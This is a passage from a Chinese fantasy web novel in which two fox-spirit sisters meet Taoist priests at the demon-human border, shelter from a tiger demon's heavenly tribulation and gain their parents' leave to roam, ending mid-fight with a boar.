白水听完满眼期待看了看妇人,朝着妲菁菁说:“雪啊,我都没见过呢,有机会是要去看看的,到时候,菁哥可得好好招待我们!我顺便再跟祖奶奶告告状,菁哥没少欺负我俩。”
妲菁菁啧一声就开始回嘴白水没安好心,就开始胡闹起来,妇人看着他们三个闹腾,也没有在继续说下去,脸上的笑容始终没有变化,半响,后退了几步,朝妲菁菁说到:“菁菁,好好和好友道别,别耽误了两位回去的时间。”
妲菁菁点头应着,回头对俩人认真的说到:“
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我这就回去了,你们也早点回去。”
白水应和着说:“菁哥,快去吧,我们俩还要赶路回去,这回去也不少时间”
“也不知道你俩想干什么,但是要听白狐王的话,先别乱跑,别头脑一热什么都不明朗的情况下要自立,真……”妲菁菁始终觉得姐妹俩今天不正常,套了一路话,白河就是不说话,白水比他还圆滑,愣是什么套到。有白狐王,以她俩的身份,他根本不担心她俩的安全,就是怕她俩有其他出格的想法。
“你赶紧走吧,我俩就是想出灵地看看,你也看到了,我父王母亲对我俩真真是豢养,要不是送你出山,我们都没机会出灵地。我偷拿了洞府中的油烛,油烛一燃,都是我父王的修为,你看我们这一夜是不是安全的很?路过这些大妖都没有出面,怕是知道我们的,我父王他肯定也知道了。”白水被妲菁菁小心翼翼的样子逗得笑弯了腰,举着油烛嘻嘻地解释着。
“我说一路上几次被巡山小妖巡到都没事,也不见盘山的大妖。许是我习惯了白狐做的油烛,没发现到。那你们回去也燃着火烛过去吧”带菁菁恍然大悟,亏他还琢磨了一路。
“哥哥哎,白天了,还亮什么火啊。我燃着油烛,这一路的大妖估计早就和我父王联系上了,我父王也肯定知会过他们了,那回去还点油烛干什么?”
“是是是,话都被你说了。”妲菁菁现在说不过白水,只能无奈应和。
吵吵闹闹了一会,妲菁菁就和远处的妇人一齐走了。临走时,那妇人还远远冲着俩姐妹弯了弯身衣,跟着妲菁菁一起向她俩摆了摆手。
白河白水目送他们到看不见背影,才松口气。白水叹口气,朝白河问到:“搞这么一出下山,就为了听她一句想要我们去浮屠山?”
白河抖抖了袖子,回头看了一望无际的山,说:“我又不知道她还有说跟我们说,我就是好奇她偏要在山界这里等菁哥。再说了,是她的问题,藏了修为,不想让山界的大妖知道,偏偏让我俩察觉了,这可怪不得我要来看看。”
白水一边收拾油烛,一边继续说:“回去跟父王说说,看他什么时候带我们去浮屠山玩?”
白河看了一眼白水,转身就往回走,边走边说:“我看你是傻子,人家那话都讲了,几次了,父王没答应,都懒得跟我们提起这件事,你心思多的很,还要去惹父王,这趟下山,回去还不知道怎么被训呢,别找事。”
白水笑嘻嘻跟上来,说:“说谁心思多?你鬼心思最多,我还不知道你想什么?先回去吧,什么话我编不出来,父王才不会怪我。”
走了几步,白河突然停下来,认真的对白水说:“我觉得以后的日子都不会像以前那么轻松了。”
白水点头说:“看你,你觉得不轻松那就不轻松,我反正跟着你就是了。”
9. 归途遇奇景 小道发善心
白河白水晃悠悠走到一处路口,白水漫不经心地问“原路回去?”
白河斩钉截铁的看向原路的右边,回答到:“不走回头路,我们绕一绕。出来一趟不容易,原路多没意思。”
“好。”
两只妖沿白河选的这条路走了好一会,山路崎岖又弯绕,已经偏离原路很远了。白河抬头看天,太阳已经升起来,山中还是有大片的雾气未散,云烟袅绕又白光扎眼。白河停了下来,对白水说:“走了这么久,都是山路,看腻了。飞到空中看看吧。”
“也行,小心点飞。”白水早就走厌了,昨晚上有妲菁菁跟她搭话,还有巡山小妖一惊一乍的,倒没觉得有多无聊,这会白天了,四周通亮,景色单一,白河又是个不爱说话的,就埋头走路,她老早就想发牢骚了。
俩姐妹飞在空中俯瞰混沌界,竟没能看到全貌。雾气连绵了不少山头,近实远虚,壮阔且缥缈。雾气连绵在最远的一个山头似隔断了一样,形成了一道规则整齐的白墙。白河指着那里让白水看,白水心领神会的点点头,两只妖朝那边飞去。
飞到白墙边缘,两姐妹才看清,这个山头不符合自然规律,明明日照当空,白雾墙却把这座山分割出了两种景象,白河白水所在这边是白雾墙之内,这半边山上的雾气根本散不去,看不清实景,寂静万分;而白墙之外,山间晴朗,目光所及,绿意生机,时不时还有细微的鸟兽鸣啼。
正当她俩还在疑惑之际,突然耳边传来一声稚嫩的怒喝:“哪来的妖!不可过界祸乱人间!”
声音清脆,好像带着什么魔力一样,白河白水控制不住飞行的法力,直直坠进了白雾里,滚落在一处灌木中。白河落地立马化形为白狐,做战斗样,白水则伏在一颗树后,四处探望寻声找人。
随着一阵脚步声,两个身穿青衣道服的人停在不远处。这俩人都梳着高发鬏,一个看起来二十多岁,面容干净且刚硬,一个十二三岁,稚嫩却一脸正气。俩人俩妖隔着白墙对峙,俩道士站白墙外,正好被穿过树杈间的阳光照的通亮;两只妖伏在白雾内,虽有白雾隐着,可身形无可遁,也一目了然。
看对方停着不动,白河化了人形,白水也站起身来到了白河身边。
“真不知死活,两只小妖还想过界去人间,大妖没跟你们说过吗?过界既死!”小道士手中拿着一把锃亮的长剑,话语间,长剑上隐有金光闪耀。那金光闪的战意明显,长剑也跟着抖动几下,白河察觉到对方的意图,白河两指并拢,刚要附上眉间降神格,就被白水一只手按住,示意她不要着急,白水另一只手随即燃起了一个火球。
“我们没过界,只是看见这里界气分明,好奇看看。你好大声,吼的我们直接坠下来,差点没摔死!年纪小小的,口气倒不小,杀心这么重,哪家的?”小道士咄咄逼人,白水也带怒气,但没弄清情况,她还是不想让白河先动手。
看到白水手上燃起的火球,那个年轻道士眼睛亮了一下,伸手堵住了还要准备还嘴的小道士,他示意小道士收起长剑,自己也双手一交错,交叉着缩进了袖子里。年轻道士笑眯眯的看着俩姐妹,语气比起小道士和蔼很多:“我们是明光山的道士,奉龙虎主道观老天师之命来巡视混沌界的。这里是妖界与人间的结界,妖不过界,过界遇则斩杀。两位迷路了?”
年轻道士的态度看起来很随和,没有恶意,白水想了想便收起火球。回应道:“谢谢小道士提醒,我们俩没出过门,还不知道这里就是结界边缘,我们这就回头,不会去人间的。”
年轻道士听了白水的话点点头,仍旧是笑眯眯的说:“看起来也是年纪不大,但两位修为不浅,有修炼的天赋,好好待在修炼地才是,假以时日,必能得道成神。”
白水仍旧客气的谢到:“谢过道士。”
年轻道士看白水放下了戒心,又补充说到:“刚才我师弟吓到两位,多有得罪了。”小道士一脸不可置信的看着他师兄,却也不敢说话,耷拉着脑袋,满脸不情愿的站在了师兄身后。
年轻道士又问到:“看你们不清楚界规,怕是很远跑来的吧,你们跑这么远,累不累?”
白河白水相视一眼,白河抢着回答到:“我们是走兽妖,不怕跑。”
“哦,两位是走兽妖,那回去也要废些时间,妖界众山环绕,也很危险,小心回去吧。”
说到这里,白河还在对刚才飞行空中被震落感到不满,没好气的怼了道士一句:“这一路过来,我们稳的很,要不是你们,哪里会这么狼狈落地?我看这一路最危险的就是你们了。”
年青道士呵呵笑着说到:“是,我师弟年纪小鲁莽的很。可你说这一路最危险的是我们,那可就不对了。”
话音刚落,刚刚还是晴空万里,不止怎么的猛然间聚拢了厚厚的乌云,向混沌山妖界的中央围过去。
年轻道士只是抬头瞟了一眼,就继续笑着对白河说:“你看,妖界又有大妖渡劫飞升,两位小妖,快找个地方躲躲,被天雷劈到就是不死也要掉修为。”
白水盯着乌云的行径,这盯着盯着看脸色就难看起来,她小心的拉着白河的袖子说:“看着像是往灵地的方向,姐姐,来得及回去吗?”
白河也看着天空的乌云疾飞,不知道怎么回答白水,只能默默盘算着。
年轻道士听到白水说话,双手慢慢腾腾的从袖子里掏了出来,右手里还多出薄薄一碟符纸递了过来,说:“待我师弟赔不是,送你们几张地形符,能瞬移百公里,天雷降下之前保证能回去。”
白河白水听闻回过头,盯着年轻道士,俩人都不敢接符。
“我没有恶意,妖、道两门又不是死敌,我们只除为非作歹的恶妖,你们两个年纪小,又没有屠伤生灵,我不会为难两位。
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”看俩姐妹还在犹豫,他接着又说“两位都是有天资的妖,同是修炼,我看好二位。符纸是干净符纸,既无杀机,也没有使坏的门道。两位再犹豫,一会天雷就降下来了。”
白水还在沉思,白河倒是往前大跨几步,隔着雾墙拿过符纸:“这个符纸要怎么用?”
“心中想所去的地方,起法用修为点燃符纸,符纸燃尽,也就到了。”见白河没能理解,年轻道士又掏出一张地形符,两指一夹,符纸瞬间燃起,年轻道士随着符纸燃烧凭空不见了,只是一瞬间,就出现在了白水的身前,白水吓得立马后退几步,双手燃起火球,呈攻击姿势。年轻道士赶紧摆手,拍了拍手上的符纸灰,向白水笑笑,示意没有恶意。
白河眨了眨了眼,恍然道:“我学会了,谢谢道士。下次见到你,再好好谢你。”她快步上前抓起白水的手说“先飞上去,看清灵地,就用这个符回去。”说着就拉起白水飞到了半空,才离地几米高,白河又停下低头看着望向年轻道士,她语速极快的说年轻道士说:“我叫白河,她是白水,小道士下次我还来这里找你。”
年轻道士向他摇摇手,笑眯眯的说:“我叫张清”,又指了指旁边的小道士接着说着:“师弟叫张漾。不急道谢,既有缘,自会再见。”
白河点点头,没有再说什么,牵着白水往高空飞去。张清看着两只妖走了,也收敛了八分笑意,眼里闪着精明的光,默默的自言自语了一句:“就静候你来找我。”
旁边的张漾看两只妖飞远了才走近张清,怨念的说:“师兄,跟着你巡山几年,头一次见到妖物,就这么放跑了?”
张清懒散着把双手插回袖筒里,向人间下山的路走去,边走边说:“跟你说过多少次了,妖物已有七十余年不出界伤人了。为难两个小妖干什么?”
“不伤人,天师要我们巡山做什么!玩吗!”张漾被张清的话,气不打一处来,辛苦爬山好不容易遇到小妖,还没施展身手,就被师兄放走了。
“对咯!走,回去的路上看看有山珍草药,抓紧采赶早回去。这也不算空手回去不是?”
师兄弟俩嘟嘟囔囔的下山了,飞在天上的白水还在愣神,“你不怕他使坏?”
白河头也不回的说:“我能感受到他没有一丝一毫想打架的意图。他说两界不可随意越过,可他却轻轻松松的就过来妖界,他根本就什么也不怕。他修为很高,怕是要杀我们两个也很轻松,不至于在那说半天话浪费时间。我们得赶紧回去,有问题,父王肯定能察觉,现在用不着想这么多。”
白水听了也不在执着,白河飞在空中找到了灵地,跟白水确定了一起回到木屋几步远的地点。白河给了白水一张符纸,自己留了一张,剩下的系数藏在怀中,她仔细检查了不会漏出后,引燃地形符消失在空中,白水跟着白河引燃了符纸。
姐妹俩凭空消失了。
10. 深洞躲雷劫 难事接踵来
地行符确实好用,眨眼功夫姐妹俩已经回家了。白河白水落地后都默默看着对方,还没从刚才的神奇体验回过神来,白河仔细都落手上的纸灰,朝着白水点头,白水也抿着嘴笑了一下。突然天上隆隆作响,这是快要降雷的节奏,时间刚刚好。俩人也不在磨蹭,赶紧进屋找白魅白芊。
穿过木屋厅堂,洞府里的白魅白芊正在着急眼巴巴望着门外,看到她俩回来,白魅一言不发迅速给四只妖围了一层结界。白芊也顾不上说话,上前几步迎上来,一手一个,拽着她俩往洞府深处走。
白魅的洞府在不起眼的地方有一处看起来很深的洞穴口,很隐蔽。混沌界的大妖很多,虽然这些大妖都压着修为等待时机才飞升渡劫,但白魅还是留了心眼,为了避免个别大妖因修为控制不住溢出而原地渡劫殃及自己,专门挖来以防万一躲天雷的。洞穴狭窄,她们走了很久,洞穴像是挖到了山的最底层一样。终于在洞穴尽头三只妖才停住了脚步,洞穴里有几块大石头,她们就坐在一块大石头上休息。
白水喘着粗气小心的燃着油烛,看着惊魂未定的白芊问到:“母亲,哪只大妖渡劫?”
白芊长叹一声,没好气的回答说:“隔壁山头的虎妖,前几日,有几只不知死活的妖修想占它的山头,被它打散夺了修为。那其中有一只妖修为高的很,虎妖也不仔细盘算,系数吸收,结果吸收了太多修为,压不住了,必须渡劫飞升,来不及寻安静地方,就惹来了天雷。这下到好,要祸害混沌界不少修士了。他是真的祸害!”
“渡劫飞升不是好事吗?”白水看白芊生气有点不明所以,白芊左右都在表达非常避讳大妖飞升,可修炼不就是为了飞身成神,白水有些搞不明白。
“这年头,渡劫哪有这么容易,十渡九散。一个还没准备好的半路妖修,靠掠夺修为被迫飞升,能有什么好?偏偏离我们太近,要不是你们俩迟迟不回来,咱们也不会来不及逃走,弄的这么狼狈。”白芊语气里对虎妖的不屑更加了几分,也有对两姐妹的埋冤。
“事都赶在一起了,母亲消消气,我们下次不敢了”白水听出了白芊的职责,赶紧摇着白芊手撒娇。白河靠在旁边的墙壁上安静的站着,默默听白芊发牢骚。
少许时分,白魅也结好了结界,跟了过来,找了块干净石头,坐下休息。这洞穴是以备不时之需的,也不知道多久以前的事了,夫妻俩一直没有认真搭理,所以地方很小,也没有安置东西,洞也不高,站着压抑,坐着占地方。四只妖挤在一起,这会儿气氛倒有些尴尬紧张,为缓解气氛,白魅先开口找话说:“送走妲菁菁那小子了?”
“嗯,接应他的那只妖年纪看着也不小,胆子却小的很。远远的躲在混沌界边缘的一颗树下,看着我们来了,都不敢靠近一步,一点也不像九尾神族的妖”白水眼咕噜一转,流畅的回答了白魅的话。
“嗯,九尾一族生性谨慎,混沌界都是大妖,怪不得她,避着你们也是好事,没有跟你们打招呼我倒是想说她们也太拘谨了。”白魅神色不变的点头,却又狐疑盯着白水,继续问:“可遇到其他事情?”
这回白水还没来得及说话,白河先开了口回答:“回来路上,本想在混沌界逛逛,回来的路和出山的景不一样,许是分不清迷了路,等走累了我们就飞在空中想早点回来算了,无意间又看到了妖界和人间结界,好奇飞过去看看,结果被两道士差点吓死。”白水梗了下脖子,白河突然半真半假说了这么多话,还把她准备好的说辞全推翻了,让她既好气又惊奇,好在这回答行云流水,她也只能应和着点头。
听闻有俩道士,白芊神色紧张的看了一眼白魅,见白魅并没有搭理,也不慌张,就继续问到:“俩个道士?可有为难你们?”
想起张漾那嚣张的样子白河就生气,忿忿的说:“他们是明光山派来巡山的,那个看起来和我们一般大的小娃娃口气不小的很,说我们一出界就要杀我们,要不是这边引来了天雷,我是准备过界打死他的!”
白魅听到这里,突然动怒,随手拍在了坐着的石块上,严肃的对白河说:“胡闹!这两个明光山的道士看你们年纪小,在唬你们!什么过界砍杀,胡说!许是他们想激怒你,你先动手他们就会有理由合理杀妖,用心险恶!你要是沉不住气先动了手,麻烦大得很。你杀了他们,等于找死,必然要被追杀,不杀他们在那纠缠太久,根本不容易回来。怎么这么鲁莽!”
白水轻轻松口气,有点后怕,幸好那会拦住了白河。白河看白魅生气了,也没有继续说下去,只是问到:“凭白无故的,就为了杀我们?”
白芊看着白水露出心有余悸的样子,顺手把她拢在怀里,摸着白水脑袋,安慰着两个人说:“要么就是为了抢修为,要么就是为了他们道门所谓的历练,还能如何?”
白魅没有接白芊的话,只是看着白河又问到:“能回来就是好的,看着也像没动手的样子,你们可是亮明了身份?”
“白水燃了油烛,另一个小道就很客气没有再为难我们了,正好变了天,他还送了我们一道地行符说是吓到我们赔罪,让我们赶紧回来躲雷。”
听到此处,白魅怒气才散,白芊脸色也平静了下来。白魅若有所思的叮嘱姐妹俩:“好在是有惊无险,明光山的道士都有些本事,地行符也算救你们一命。但以后一定要远离他们,现在的道士都不好惹,鬼心思也多。他可曾说了别的?”
白河摇了摇头,看着白魅眼睛,小声说到:“只说了我们看起
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来是有修炼天赋的,让我们好好修炼,早日成神。”
白魅眯着眼睛,眼睛动了动,停了一会才说:“嗯,这话倒是客气。这个道士也算是识时务。”
弄清楚了事情的原委,白芊还在愤愤不平的说改天要去明光山会会老道时,外面就是一道惊天巨响,随即就是天雷滚滚,震的四只妖都噤了声。天雷不同于雨雷,阵势庞大,像是带着撕碎万物的恐怖力量,虽说土吸雷,能抵消一些影响,可隔着一座山也是压制住了藏在深洞里的四只妖,可想天雷有多可怖。雷声越来越密集,白水难受的身子缩在了一起,抱着腿蜷坐在白芊身边。几道天雷接连劈下,一向平静的白河脸上也露出一丝惊恐的神色,几步晃到白水身边贴着她站着。最后一道天雷威力极大,震的地动山摇,洞里的四只妖都不同程度的晃着身子,白水已经坐不稳了,先显出了原形,白河也没坚持多久跟着显出了原形,两小只凄凄惨惨的蜷缩在白芊的怀里瑟瑟发抖。白芊做法拢住了她俩,两只小狐狸这才沉睡了过去。
等到最后一道天雷落下,山洞外隐隐传来一阵痛苦的虎啸声,声音夹杂着绝望和挣扎,听得人有些难受,待到虎啸声停歇后就是死一般的宁静。安静了一会,从洞外蔓延进来一股暖流,仔细辨别,还能感受到一股血腥味。白魅面色凝重,看了一眼沉睡的白河白水,又起手做法加重了结界,挡住那股暖流。
“虎妖散了,又要不消停了。”白魅站在洞里看着白河白水,神色越发复杂。
白河白水化型后一直睡在白芊的怀里没动弹,洞深寂静,可还是隐隐约约的能听见细细索索的脚步声。白魅皱着眉头,白芊轻手轻脚的脱下外衣把白河白水裹好安顿在山洞一角,起身靠近白魅,小声的对白魅说:“这不是办法,虎妖这一散,怕是他们又要等不及了,到时候拦不住可怎么办?”
白魅一直手抚着白芊的背,安抚道:“慌不得,前段时间我又去找了国师,那老贼扣扣索索的才给我挤出一点话,神神叨叨的说时机要到了,让我仔细着做选择。他几十年都不和我说这么多话,怕是有点信息也是三界尽晓,现在几方目的都不纯,哪一方都有理,难决断呐。实在不行我就放开她俩,那老妖狐怕是知道点什么,几次都想寻她俩过去,还警告我别乱来。我心里有数的很,哪里需要他们跟我说道。”
白魅喃喃的念叨着,白芊直起身子看着白魅,惆怅的说:“我眼看着她们长大的,哪一方的说辞我都不愿意,真就不能顺其自然吗?”
“看造化,我出去看看,你晚点待她们醒了,再琢磨着出来罢。”说完,白魅就向洞外走去。
白芊看着白魅出去的背影出神,她没注意到,身后拢在衣服下白河细长的狐眼偷偷抖动了几下。
11. 白狐王松口 俩姐妹自由
白芊带着醒来的白河白水回到木屋前堂时,外面已经天黑了,周围的山头掩在夜里,一片黑,看不见哪个山头亮着灯,混沌界比以往要安静许多,也不知道虎妖度雷劫的事情处理得怎么样了。白魅出去到现在还没回来,屋中此时空荡荡的,白水一挥手,木屋前堂和穴府中的油烛灯全部点燃了,偌大的屋子才有了一丝活人气。白芊想了想,带着两姐妹回到穴府内厅坐着,等白魅回来。
白芊心里有事,沉浸在思绪里不说话,白河白水不知道干什么,干坐着无聊,就扯着嘴角大眼瞪小眼地相互使眼色。两只小妖当着白芊的面做鬼脸,原本白芊还在出神没注意到,只是回神空档猛然瞥见她俩的样子,被逗乐了,她没好气地说她俩:“你们嘴巴努得多长,能挂个瓶子了!”
白河听到白芊打趣后,收敛了表情,不好意思地笑了笑,白水也笑着坐好了,趁机赶紧接上白芊的话,问道:“父王可没有这么晚了还出去的习惯,本来想问问,又怕你担心不是。我俩这是练习变脸玩呢,看母亲心神不定的,你要不要跟我们一起?”
白芊面色平静,看不出是不是在担心白魅,抬手摸了一把瓜子,给两姐妹都分了些,边嗑边说:“少来,我可不跟你俩皮猴子一般,这会儿还有心思玩闹。那虎妖被雷打散了,修为还未散尽,一些投机取巧的大妖总会来想捡漏一些,妖多杂乱,不免会有些冲突,你父王不把它们处理好,波及到我们可是个大麻烦,这会儿估计快要回来了吧。”
白河听到白芊说完,歪着头看着白芊,好奇地问道:“捡修为不是好事吗?母亲怎么不去?”
白芊慢慢磕着瓜子,说:“捡修为能有什么好,那根本就不是属于自己的东西,每家大妖都有自己的修炼办法,所修门道也不一样,拿着还要花时间融合自己,左右都是吃力的事。依我看,修炼就是要脚踏实地,投机取巧得来的,总归要还给天道的,它们这是自欺欺人罢了。”又看白河清澈的眼睛,继续说:“你父王早看不上这种修为了,但是如果他不出面,别的妖总归是会猜七猜八的,难缠的很。”
说到这里,白水低着头,捡手里的瓜子,边捡边说:“我懂的,这些大妖逮到一点机会就不放,父王不去,那就是冲着我俩来了。”
白芊转头看着白水,温柔地说:“是了,多少妖修虎视眈眈的,眼馋你俩的很,他们总以为你俩有什么惊天的大修为,纵使这么多年来探了清楚,也还是不信你俩就是幼兽,人皇氏的国师说了多少次,要等到你们成妖飞升时,就是不听,难缠啊。”
这话说的很无奈,白水也不知道如何宽慰白芊,倒是白河磕着瓜子,看似漫不经心地避开了这个话题,说道:“今天见到那两个道士,直到白水亮出火球才好说话,我那会本以为他们要和我们不死不休的。”
提到那俩道士,白芊就恼火起来:“那俩臭道士,我总归是要去寻他们的,吓唬你们先不说了,可他们竟想要对无辜的幼兽下杀手,真是违背修士的道义,我看明光山的大道就是个摆设,老天师真是活老了,脑子也老了!”而后白芊又转了话锋,语气尽是严厉的对白河说:“幸好白水机灵,他们多少还是忌惮你父王,不然今天你俩凶多吉少。让你们不乱跑,一点也不听话。你们下山后,你父王陆续收到各山头大妖的消息,好言好语地打好了招呼,不要伤你们,那些大妖也都应了。原路回来就好,你们俩偏偏要绕路,真是不省心。”
白河白水被白芊一顿斥责,都停下了手里的瓜子,低下了头端坐着。少许,白河又抬头看向白芊,问道:“母亲,道士也会杀妖夺修为吗?”
白芊把刚要送进口中手停在半空中,看着白河,脸色渐有戾气,一字一顿道:“物竞天择,适者生存,六道皆通用,不死不休,是六道的准则。一日为修士,终日就要为自己考虑,要么成神,要么陨灭,都不分你我,哪里还分妖道人畜?道士从来都不比妖高贵,你这话问的就好像道士就一定是好人一样,他们要是好人,我们哪里需要躲在妖界?妖界灵气可比人界差的太多太多了!”
许是没见过白芊这么认真严肃的时候,白河不免有些发怵,她小声地说:“我们一家不是挺好。大妖们也还讲理......”
白芊看到自己吓到了白河,才收敛了自己的戾气,恢复了平静,又重新抓起了瓜子,边嗑边说:“你们是我的孩子,怎么能不对你们好呢,即使是什么天星转世,那也是我白芊生的,容不得他们喊打喊杀。唉,也是,只有我们这一家这么和平罢了,也怪我们一直护着你们,才让你们这么天真。”
白芊说完后,三只妖就各自沉默地磕着瓜子,每只妖都心事重重。呆坐了一会儿,这个沉重的话题才慢慢过去,大家都默契的不再提起此事。
干坐着实在无聊,白芊也是怕两个孩子多余乱想,又打起精神兴致勃勃的要研究两姐妹的妆容,俩姐妹只好乖乖坐着任她折腾。以往白芊都是给她俩绑两个发髻,今天心血来潮给两姐妹梳拢高马尾,还仔细绑了发带,折腾一番,才满意地点点头说:“等到你们成妖了,就这么打扮,看起来精神不少,到时候我再张罗两件锦衣给你们,也就是亭亭玉立的大姑娘了。”
白水照着镜子,左右扭着脸,看着自己从来没绑过的发型,多少有些新奇,听到了白芊说的话后放下镜子,撒娇地对白芊说:“那我到时候自己选锦衣,母亲准备的总是夸张得很,怕是又要里三层外三层的,穿起来像是粽子一样被绑着。我喜欢青色,就要一件轻薄一件的青色锦衣,其他可不要了。”
白芊没好气的拍了拍白水的脑袋说:“你还嫌弃上了,姑娘家家不好好打扮,出了门别人还不得说我懒,怠慢我的孩子?”
白河在一旁没搭话,看了一会镜子就开始拆头发,白芊以为白河不满意,小心地问着:“怎么,不喜欢?”
白河揉揉头说:“没有,很喜欢。就是没有披下头发舒服。”
白芊笑着说:“你性子直,束发最适合你,现在不适应而已,以后绑多了,也就适应了。”
白水看白河开始拆头发,自己也跟着拆起来,看着两个孩子,白芊不知道想到了什么,有些低落,声音小了很多,在旁边自言自语地说着:“盼着你们长大,却也不盼着你们成妖,到时候也不知道你们会怎么样,会去哪。也不知道我到时候还能不能给我孩子们束发了......”
白芊的声音太小了,白河像是没听见一样,还在帮白水拆头发,白水则是狐疑抬头问到:“母亲再说什么?”
白芊觉得这话说的不适宜,也不好解释,索性摇摇头,没有回答白水的话,安静地坐在一旁,给自己倒了杯水喝了起来。见白芊没有再说什么,白水转头又跟白河打闹起来。
三只妖一直守在厅堂到半夜,白魅才风尘仆仆地回来。白魅进屋就径直坐下,没有理会任何人,给自己倒了杯水。他脸上表情自然,看不出任何情绪,气息也稳重如常,一点也看不出是忙了一天的样子,就好像在屋里坐了很久一样。
三只妖都在等白魅说道白天的事情,眼巴巴望着他,白魅慢慢呷完一杯茶水才开口说道:“虎妖修为散尽了,精魄无存。闹到现在各家才消停,没什么大事。”
闻言,白芊松了口气,才拿起杯子准备喝口水压一压紧绷了一天的状态。不想白魅又看着白河白水继续说:“你们以后想出灵地就去吧,我给他们打了招呼。”
白芊才刚松口气,听到这句,又把心提起来,送到嘴边的茶水没喝上又放下,白芊瞪着白魅,语气有些焦急:“白魅,你说话的时候是想过了?”
白魅放下茶杯,一只手抚住白芊的手,打住了就要发作
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的白芊,白魅表情自然,看不出任何情绪,语气轻松地说:“死不掉,藏着她俩有什么用。她们想跑出去见见世面,你还能绑着她俩不成?我今天已经放出去了话,可以和我儿切磋,但如果有歹心思,那就别怪我。放心吧,都识趣得很。”
白芊闭上嘴巴,一直瞪着白魅不说话。倒是两小只,望着对方,眼珠子高兴地滴溜溜转,嘴角的笑容藏都藏不住。白芊看着她俩暗自窃喜的样子,没好气地说:“你瞅这俩没心没肺的东西,这是还没天亮,不然现在准跑没影了。”
白魅笑了笑,又看着她俩嘱咐道:“跑出去就要做好准备,人界最好别去,那帮道士、和尚,仙人不知道存着什么心思,以你二人的能力,我不怕你们跑不掉,但最好避开;也不要去地府鬼界,鬼修无情,万一存了心思,唬的你们晕头转向;魔界更别去,那里早就不成气候,都是一帮没本事的小修,小修都是不讲理的东西,说一套做一套。白水聪明,白河善战,结伴而行,万不可分开。”
白河白水赶紧应声说记住了。白河兴奋地问白魅:“那我们能去找妲菁菁吗?”
白魅整了整袖口,想了想说:“九尾神族在西边,过去要不少时日。我有其他事情绊着,不能送你们过去,随你们罢,真想去,沿途离山远点,小心点便是了。虽然都是妖,但在妖界行走,也要长颗心,不是每只妖都像混沌界的妖一样,对你们有所忌惮,杀屠打斗要看清形势,聪明些,你们和妲菁菁相处也不短,学学他的稳重就好。”
白水点头说:“父王放心,我比菁哥要识趣很多,以不打架为主,我也学他偷摸着去就是了。”
白魅点点头,四人又说了一会话,白魅就打发着让她俩赶紧去睡觉休息了。等到两小只跳跃着回自己洞穴,厅堂安静了一阵,白芊站起身来,才把憋了好一会的话一股脑说了出来:“你真放心她们俩出去,这才是幼兽年纪,还放纵她们去浮屠山?白魅,你果真要放弃我孩儿?你是不是铁了心的?”
白魅起身拉着白芊,往门口走了几步,宽慰着说:“小声点吧,别让她们听了有心理负担。现在已经不是纠结的时候了。虎妖的事情我早就处理好了,临近天黑准备回来时,几个妖王拉住了我,三界早就知道白河白水是一白星一红星的事情,做好准备吧,往最坏的方面做准备。她们留在灵地才不安全。”
白芊脸色略微震惊,不可置信地问道:“早就知道?可他们……”话说到一半,白芊已经有些慌了神。
白魅继续说道:“上三道不追杀这件事很蹊跷,我也没想明白,但能够确定的是,他们不想杀白河白水,那就是好事。”
白芊渐渐恢复平静,有些焦躁地说:“藏来藏去,躲的还不是上三道,真是笑话了。现在呢?他们真的等不了了?没有更好的办法了吗?非要盯着她俩不放,我怎么可能舍得我的孩子?”
白魅起身把白芊拢在怀里,往里屋里边走边说:“别想了,她们和我们不一样,我们现在只能先顾好自己,再想如何保全她们,不是吗?自身难保才是难题。”
深夜寂静,厅堂烛火未灭。离厅堂最远的小房间里,白水睡得正安静,白河躺在床上,睁大眼睛小心地听着厅堂白魅和白芊的对话。房间里厅堂很远,明明白魅和白芊很小声,可白河听得一清二楚,她现在有些恍惚,是什么时候自己有这能力的。自九尾祖奶奶遣的人在山界等妲菁菁开始,白河就察觉到了,自己身上好像有之前从未见识的能力正在慢慢觉醒。不知道是巧合还是有意而为,紧接着不寻常的事情一件接着一件发生,似乎都在有意让她知道,白河眼睛咕噜转个不停,想努力理清这两天发生的事情,理了一会就放弃了。
厅堂那边两人也结束了对话,白河确定再也听不到什么了,才断开思绪,贴着白水,叹口气,慢慢进入梦乡。
12. 小战抢山头 征猪妖看家
天刚微微亮,都不需要白魅白芊叫她们,白河白水已经迫不及待的起来把自己收拾好了。白水还偷偷在身上藏了几个疗伤的药丸和油烛;白河惦记着要还张清人情,不知道带什么好,就揣了个装满珠宝的钱袋子。一切收拾好,她俩端坐木屋前厅,等着白魅白芊起来。
白芊白魅洗漱好,一来到厅堂就看着她俩迫不及待的样子,白芊冷着脸,回头跟白魅忿忿不平说着:“怕是一整晚都在惦记着,昨晚睡得那么迟,今个破天荒的比我们起的还早,这会还都收拾完了,你就说这俩白眼东西谁生的?”白魅无奈地笑着没说话,摆摆手示意她俩可以出门了,两个人冲着夫妻俩做了个鬼脸,就着急奔出了门。看着两小只没心没肺地走了,白芊才露出担忧神色,身后跟出来的白魅拍拍她的肩,始终都没说话,又折回去了里屋,白芊纠结了一会儿叹口气,也跟着进去了。
飞出灵地,白河白水停在半空中,一时间不知道去哪。白河想了想,指着不远的山头对白水说:“我们先去昨天虎妖的山头看看,现在那应该算是个空山头了。”
白水撇了白河一眼,她就知道白河肯定对立山头的事念念不忘,现在正好有虎妖的事情,肯定不会消停,就点点头跟上了白河。虎妖原来占据的山头离灵地不远,仅隔着一座山,白河白水又是飞行,话语落地不过一个香头,她俩就悬在山顶处。这会儿山上安静,视野不错,片刻工夫,俩人就看见了一个斜歪挂着灯笼的洞口,等落在山洞前,才看清山洞顶刻着“山君洞”的字样。白河一言不发,手一挥,就把山君洞变成了‘河水府’。
虽取了俩人名字各一个字,有寓意,但‘河水’比起‘山君’俗气的不是一点半点,白水刚想笑白河起名的水平真烂,洞里就窜出来一只半人高的野猪,那野猪被人打搅了,这会儿气势汹汹的,看起来不好惹。野猪瞪了俩人一眼,抬头又看到洞口的名字变了,顿时凶光一露,亮着獠牙就冲两姐妹刺过去,白水轻轻一跃悬置空中躲开了野猪的冲撞,双手施法燃起两个火球准备战斗;白河就地一滚,也躲过冲撞,化身白狐,冲着野猪的后背龇牙示威。
野猪看到白水亮火球先是一怔,但也只是一怔,随即立马掉头再次刺向白河。白河根本不虚,对野猪冲来的方向左右跳跃着迎了上去,最后一跃巧妙地避开野猪獠牙,瞬间在空中化形为人,又一脚蓄力,猛猛地踢在野猪头上。这一套动作行云流水,一点也不犹豫,像是排练好了一样,这一脚的力气又巨大,野猪也没有反应躲避的机会,被踢得腾空飞起,重重地砸在了后面的山壁上。
